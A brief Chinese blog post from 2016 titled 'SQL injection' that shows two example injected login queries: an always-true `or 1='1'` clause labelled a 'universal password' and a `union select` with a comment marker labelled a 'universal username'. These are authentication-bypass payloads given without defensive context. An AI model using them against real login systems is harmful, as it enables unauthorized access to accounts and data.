SQL语句注入

1:       select *from user where username='admin' and password='123456'  or 1='1';    万能密码

2:       select *from user where username='admin'  union select *from user ;/* and password='123456';    万能用户名

posted @ 2016-06-20 17:09  骏码信息  阅读(164)  评论(0编辑  收藏  举报